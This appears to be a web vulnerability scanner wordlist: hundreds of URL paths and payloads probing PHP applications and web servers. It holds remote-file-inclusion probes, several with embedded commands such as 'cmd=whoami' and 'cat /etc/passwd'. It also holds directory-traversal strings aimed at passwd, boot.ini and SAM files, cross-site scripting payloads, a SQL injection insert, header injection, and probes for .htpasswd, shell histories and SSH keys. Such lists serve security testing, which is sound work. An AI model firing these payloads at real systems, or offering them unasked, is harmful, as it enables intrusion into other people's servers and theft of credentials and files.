/theme/settings.php?pfad_z=XXpathXX
/theme/test1.php?root=XXpathXX
/theme/test2.php?root=XXpathXX
/theme/test3.php?root=XXpathXX
/theme/test4.php?root=XXpathXX
/theme/test5.php?root=XXpathXX
/theme/test6.php?root=XXpathXX
/themes.php?GLOBALS[theme_path]=XXpathXX?
/themes/blackorange.php?root=XXpathXX
/themes/container.php?theme_directory=XXpathXX%00
/themes/default/layouts/standard.php?page_include=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
/themes/default/preview_post_completo.php?dir=XXpathXX
/themes/header.php?theme_directory=XXpathXX%00
/themes/ubb/login.php?theme=XXpathXX
/themes/ubb/login.php?theme=XXpathXX?
/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=XXpathXX
/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=XXpathXX
/timedifference.php?la=XXpathXX
/toolbar.loudmouth.php?mainframe=XXpathXX
/tools/update_translations.php?_SESSION[path]=XXpathXX?
/top.php?laypath=XXpathXX
/toplist.php?f=toplist_top10&phpbb_root_path=XXpathXX
/topsites/index.php?page=XXpathXX?&
/towels-0.1/src/scripture.php?pageHeaderFile=XXpathXX
/track.php?path=XXpathXX
/tsep/include/colorswitch.php?tsep_config[absPath]=XXpathXX?
/ttCMS_path/lib/db/ez_sql.php?lib_path=XXpathXX
/twebs/modules/misc/usermods.php?ROOT=XXpathXX
/ubbt.inc.php?GLOBALS[thispath]=XXpathXX?
/unavailable.php?bibtexrootrel=XXpathXX?
/unsubs.php?scdir=XXpathXX
/up.php?my[root]=XXpathXX
/upload.php?save_path=XXpathXX?
/upload/admin/frontpage_right.php?loadadminpage=XXpathXX?
/upload/top.php?maindir=XXpathXX?
/upload/xax/admin/modules/install_module.php?level=XXpathXX?
/upload/xax/admin/patch/index.php?level=XXpathXX?
/upload/xax/ossigeno/admin/install_module.php?level=XXpathXX?
/upload/xax/ossigeno/admin/uninstall_module.php?level=XXpathXX?
/upload_local.php?target=XXpathXX?
/upload_multi.php?target=XXpathXX?
/urlinn_includes/config.php?dir_ws=XXpathXX?
/user.php?caselist[bad_file.txt][path]=XXpathXX&command=cat%20/etc/passwd
/user_language.php?INDM=r3d.w0rm&language_dir=XXpathXX?
/user_new_2.php?home=XXpathXX
/usr/extensions/get_calendar.inc.php?root_path=XXpathXX
/usr/extensions/get_infochannel.inc.php?root_path=XXpathXX?cmd=id;pwd
/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=XXpathXX
/utilitaires/gestion_sondage.php?repertoire_visiteur=XXpathXX
/utils/class_HTTPRetriever.php?libcurlemuinc=XXpathXX
/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=XXpathXX
/vCard/admin/define.inc.php?match=XXpathXX?&cmd=id
/vb/includes/functions.php?classfile=XXpathXX
/vb/includes/functions_cron.php?nextitem=XXpathXX
/vb/includes/functions_forumdisplay.php?specialtemplates=XXpathXX
/vbgsitemap/vbgsitemap-config.php?base=XXpathXX
/vbgsitemap/vbgsitemap-vbseo.php?base=XXpathXX
/vedit/editor/edit_htmlarea.php?highlighter=XXpathXX?
/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=XXpathXX?
/view.php?ariadne=XXpathXX?
/view.php?id=XXpathXX
/view_func.php?i=XXpathXX&l=testfile.txt?
/views/print/printbar.php?views_path=XXpathXX
/visible_count_inc.php?statitpath=XXpathXX
/visitor.php?_SERVER[DOCUMENT_ROOT]=XXpathXX??
/volume.php?config[public_dir]=XXpathXX?
/vote.php?Madoa=XXpathXX?
/votebox.php?VoteBoxPath=XXpathXX
/vp/configure.php?phpbb_root_path=XXpathXX?
/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX
/w-agora_path/add_user.php?bn_dir_default=XXpathXX?
/w-agora_path/create_forum.php?bn_dir_default=XXpathXX?
/w-agora_path/create_user.php?bn_dir_default=XXpathXX?
/w-agora_path/delete_notes.php?bn_dir_default=XXpathXX?
/w-agora_path/delete_user.php?bn_dir_default=XXpathXX?
/w-agora_path/edit_forum.php?bn_dir_default=XXpathXX?
/w-agora_path/mail_users.php?bn_dir_default=XXpathXX?
/w-agora_path/moderate_notes.php?bn_dir_default=XXpathXX?
/w-agora_path/reorder_forums.php?bn_dir_default=XXpathXX?
/wamp_dir/setup/yesno.phtml?no_url=XXpathXX?
/wapchat/src/eng.adCreate.php?sysFileDir=XXpathXX
/wapchat/src/eng.adCreateSave.php?sysFileDir=XXpathXX
/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=XXpathXX
/wapchat/src/eng.createRoom.php?sysFileDir=XXpathXX
/wapchat/src/eng.forward.php?sysFileDir=XXpathXX
/wapchat/src/eng.pageLogout.php?sysFileDir=XXpathXX
/wapchat/src/eng.resultMember.php?sysFileDir=XXpathXX
/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=XXpathXX
/wapchat/src/eng.saveNewRoom.php?sysFileDir=XXpathXX
/wapchat/src/eng.searchMember.php?sysFileDir=XXpathXX
/wapchat/src/eng.writeMsg.php?sysFileDir=XXpathXX
/war.php?vwar_root=XXpathXX
/warn.php?file=XXpathXX
/watermark.php?GALLERY_BASEDIR=XXpathXX
/wbxml/WBXML/Decoder.php?base_dir=XXpathXX
/wbxml/WBXML/Encoder.php?base_dir=XXpathXX
/web/Administration/Includes/configureText.php?path_prefix=XXpathXX
/web/Administration/Includes/contentHome.php?path_prefix=XXpathXX
/web/Administration/Includes/deleteContent.php?path_prefix=XXpathXX
/web/Administration/Includes/deleteUser.php?path_prefix=XXpathXX
/web/Administration/Includes/userHome.php?path_prefix=XXpathXX
/web/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX
/web/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX
/web/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX
/web/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX
/web/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefixXXpathXX
/web/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX
/web/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX
/web/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_pathXXpathXX
/web/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX
/web/Flickrclient.php?path_prefix=XXpathXX
/web/help.php?LIBSDIR=XXpathXX
/web/includes/blogger.php?path_prefix=XXpathXX
/web/includes/functions/auto_email_notify.php?path_prefix=XXpathXX
/web/includes/functions/html_generate.php?path_prefix=XXpathXX
/web/includes/functions/validations.php?path_prefix=XXpathXX
/web/index.php?LIBSDIR=XXpathXX
/web/lib/xml/oai/ListRecords.php?xml_dir=XXpathXX
/web/login.php?LIBSDIR=XXpathXX
/web/logout.php?LIBSDIR=XXpathXX
/web/lom.php?ETCDIR=XXpathXX
/web/network_module_selector.php?path_prefix=XXpathXX
/web/submit_abuse.php?path_prefix=XXpathXX
/web/submit_comment.php?path_prefix=XXpathXX
/webavis/class/class.php?root=XXpathXX?
/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX
/webnews/template.php?content_page=XXpathXX?
/webroot/css.php?CONFIGS=XXpathXX
/webyep-system/program/lib/WYURL.php?webyep_sIncludePath=XXpathXX
/webyep-system/programm/webyep.php?webyep_sIncludePath=XXpathXX?
/window.php?action=XXpathXX
/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=XXpathXX?
/work/index.php?g_include=XXpathXX
/work/module/forum/forum.php?g_include=XXpathXX
/worldpay_notify.php?mosConfig_absolute_path=XXpathXX
/wp-cache-phase1.php?plugin=XXpathXX
/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=XXpathXX
/wp-content/plugins/myflash/myflash-button.php?wpPATH=XXpathXX
/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX
/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=XXpathXX
/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=XXpathXX?
/wsk/wsk.php?wsk=XXpathXX
/xarg_corner.php?xarg=XXpathXX?
/xarg_corner_bottom.php?xarg=XXpathXX?
/xarg_corner_top.php?xarg=XXpathXX?
/xoopsgallery/init_basic.php?GALLERY_BASEDIR=XXpathXX?&2093085906=1&995617320=2
/xt_counter.php?server_base_dir=XXpathXX
/yabbse/Sources/Packages.php?sourcedir=XXpathXX
/yacs/scripts/update_trailer.php?context[path_to_root]=XXpathXX?
/yrch/plugins/metasearch/plug.inc.php?path=XXpathXX
/ytb/cuenta/cuerpo.php?base_archivo=XXpathXX
/zipndownload.php?PP_PATH=XXpathXX?
/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=XXpathXX?

"000258
"000684
"001242
"001251
"001475
"001476
"001504
"003065
"003539
"003547
...
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../boot.ini
/
/!Open
/!OpenServer
/"%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,"
/"%201,%201)
/"%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,"
/"%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',"
/"%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,"
/"><img%20src="javascript:alert(2906)">
/"><script>alert('XSS')</script>
/"><script>alert(097531);</script>
/#
/###############################################################################################################
/##php
/$LOCATION$footers.php?tinybb_footers=../../../../../../../../../../../../etc/passwd
/%
/%00
/%00%00.nsf/../lotus/domino/notes.ini
/%00%20.nsf/../lotus/domino/notes.ini
/%00%c0%af.nsf/../lotus/domino/notes.ini
/%00...nsf/../lotus/domino/notes.ini
/%00.nsf.nsf/../lotus/domino/notes.ini
/%00.nsf/../../lotus/domino/notes.ini
/%00.nsf/..//lotus/domino/notes.ini
/%00.nsf/../lotus/domino/notes.ini
/%00.nsf//../lotus/domino/notes.ini
/%00/
/%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
/%0a%0d%0a%0d<script>alert(XSS)</script>
/%20
/%20%00.nsf/../lotus/domino/notes.ini
/%20.nsf/..//lotus/domino/notes.ini
/%20.nsf//../lotus/domino/notes.ini
/%22%3cscript%3ealert(%22xss%22)%3c/script%3e
/%25n
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
/%2e%2e/%2e%2e/%00.jsp
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e/
/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini
/%2f/
/%3Cscript%3Ealert('SPIXSSTEST')%3C/2089697776.do
/%3Cscript%3Ealert('SPIXSSTEST')%3C/404432910.do
/%3Cscript%3Ealert('SPIXSSTEST')%3C/script%3E.do
/%3Cscript%3Ealert('XSS')%3C/script%3E.do
/%3Cscript%3Ealert('XSS');%3C/script%3E
/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
/%3cscript%3ealert(%22CSS%22)%3c/script%3e/
/%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
/%3f.jsp
/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
/%5c/
/%NETHOOD%/
/%a%s%p%d
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini
/%c0%af%00.nsf/../lotus/domino/notes.ini
/%c0%af.nsf/..//lotus/domino/notes.ini
/%c0%af.nsf//../lotus/domino/notes.ini
/%u002F%u002E%u002E%u005C%u002E%u002E%u0075%u0030%u0030%u0032%u0035%u0075%u0030%u0030%u0035%u0063%u0057%u0049%u004E%u004E%u0054%u002F%u0073%u0079%u0073%u0074%u0065%u006D%u0033%u0032%u002Fcmd.exe?/c+dir+c:
/&lt;script&gt;alert('Vulnerable');&lt;/script&gt;
/*.*
/*.jsp/
/*.php?include=
/*.php?page=
/*.php?secc=
/*coppercop/theme.php?THEME_DIR=
/*default.php?body=
/*default.php?page=
/*inc*.php?addr=
/*inc*.php?adresa=
/*inc*.php?base_dir=
/*inc*.php?body=
/*inc*.php?c=
/*inc*.php?category=
/*inc*.php?doshow=
/*inc*.php?ev=
/*inc*.php?get=
/*inc*.php?i=
/*inc*.php?inc=
/*inc*.php?incl=
/*inc*.php?include=
/*inc*.php?j=
/*inc*.php?k=
/*inc*.php?ki=
/*inc*.php?left=
/*inc*.php?link=
/*inc*.php?m=
/*inc*.php?menu=
/*inc*.php?modo=
/*inc*.php?open=
/*inc*.php?pg=
/*inc*.php?rub=
/*inc*.php?showpage=
/*inc*.php?sivu=
/*inc*.php?start=
/*inc*.php?str=
/*inc*.php?to=
/*inc*.php?type=
/*inc*.php?y=
/*inc/header.php/step_one.php?server_inc=
/*inc/pipe.php?HCL_path=
/*include/new-visitor.inc.php?lvc_include_dir=
/*include/write.php?dir=
/*includes/header.php?systempath=
/*index.php?arquivo=
/*index.php?url=
/*install/index.php?lng=../../include/main.inc&G_PATH=
/*mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
/*pivot/modules/module_db.php?pivot_path=
/*support/mailling/maillist/inc/initdb.php?absolute_path=
/*zentrack/index.php?configFile=
/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<script>alert('XSS');</script>.idc
/----SCANNED-BY-HP-WEBINSPECT----
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/1364821242.ini
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/1971249033
/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd
/.%252e/.%252e/.%252e/winnt/boot.ini
/.*/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
/..
/..%252f..%252f..%252f..%252f..%252f../windows/repair/sam
/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam
/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini
/..%255c..%255c..%255c..%255c..%255c../windows/repair/sam
/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam
/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._
/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam
/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam
/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam._
/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini
/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/windows/win.ini
/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini
/..%5C..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
/..%5C..%5C..%5C..%5C..%5C..%5C/1932856685.ini
/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini
/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini
/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini
/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini
/................................1000058475.ini
/................................boot.ini
/................../config.sys
/................../etc/passwd
/........../1426305445.ini
/........../1651497403.ini
/........../boot.ini
/....../boot.ini
/.../
/.../.../.../
/.../.../.../.../.../.../.../.../.../.../.../.../.../.../.../
/.../.../.../.../.../.../.../.../.../.../.../.../...//boot.ini
/.../.../.../.../.../.../.../.../.../.../etc/passwd
/.../.../.../.../.../.../.../.../.../boot.ini
/.../.../.../winnt/system32/1143284421.exe
/.../.../.../winnt/system32/65598523.exe
/.../.../.../winnt/system32/cmd.exe?/c+dir
/...nsf/..//lotus/domino/notes.ini
/...nsf//../lotus/domino/notes.ini
/../../
/../../../../../
/../../../../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/passwd
/../../../../../../../../../boot.ini
/../../../../../../../../boot.ini
/../../../../../../../../etc/passwd
/../../../../../../../../windows/win.ini
/../../../../../../../../winnt/win.ini
/../../../../../../../boot.ini
/../../../../../../../etc/passwd
/../../../../../../../winnt/win.ini
/../../../../boot.ini
/../../../../winnt/repair/sam._
/../../../boot.ini
/../../i386/hosts
/../<script>alert('css')</script>
/../<script>alert(258)</script>
/../config.dat
/../data/passwd.txt
/../examples//WEB-INF/../../../../
/../manager/101171726
/../manager/html
/../webserver.ini
/..<script>alert(2080)</script>
/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
/..\..\..\..\..\..\..\boot.ini
/..\..\..\..\..\..\boot.ini
/..\..\..\..\..\..\temp\temp.class
/..\\..\\..\\..\\..\\..\\..\\boot.ini
/./
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../boot.ini
/./WEB-INF/
/.DS_Store
/.FBCIndex
/.FBCSemaphoreFile
/.access
/.addressbook
/.adm
/.adm/
/.admin
/.admin/
/.bash_history
/.bashrc
/.cobalt/
/.cobalt/sysManage/../admin/.htaccess
/.cobalt/sysManage/../admin/1262373421.htaccess
/.forward
/.gov.br/index.php?arquivo=
/.history
/.htaccess
/.htaccess.old
/.htgroup
/.htpasswd
/.index
/.login1.asp
/.lynx_cookies
/.meta/
/.mysql_history
/.nsconfig
/.nsf%00.nsf/../lotus/domino/notes.ini
/.nsf.nsf/..//lotus/domino/notes.ini
/.nsf.nsf//../lotus/domino/notes.ini
/.nsf/..///lotus/domino/notes.ini
/.nsf/..//lotus/domino/notes.ini
/.nsf/../lotus/domino/notes.ini
/.nsf/../winnt/win.ini
/.nsf//..//lotus/domino/notes.ini
/.nsf//../lotus/domino/notes.ini
/.nsf///../lotus/domino/notes.ini
/.passwd
/.perf
/.pinerc
/.plan
/.privacy.htm
/.privacy.html
/.proclog
/.procmailrc
/.profile
/.psql_history
/.rhosts
/.sh_history
/.sploits/
/.ssh
/.ssh/authorized_keys
/.ssh/known_hosts
/.svn/
/.web/
/.www_acl
/.wwwacl
//
//%22%3e%3cscript%3ealert(10104)%3c/script%3e
//%22%3e%3cscript%3ealert(10110)%3c/script%3e
//%3cimg%20src%3d%22javascript%3aalert(10106)%22%3e
//%3cimg%20src%3d%22javascript%3aalert(10112)%22%3e
///
////../../data/config/microsrv.cfg
////./../.../boot.ini
////////../../../../../../etc/passwd
////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////...
///etc/hosts
///etc/passwd
//?>'"><script>alert(10108)</script>
//?>'"><script>alert(10114)</script>
//NoneExistent%0d%0aInjectedHeader:%20InjectedValue
//OA_HTML/_pages/
//Sites/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
//Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
//Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
//Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
//Sites/Samples/Knowledge/Push/ViewCode.asp?file=index.asp
//Sites/Samples/Knowledge/Search/ViewCode.asp?file=index.asp
//WEB-INF
//admin/admin.shtml
//admin/aindex.htm
//comment.php?mode=Delete&sid=1&cid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
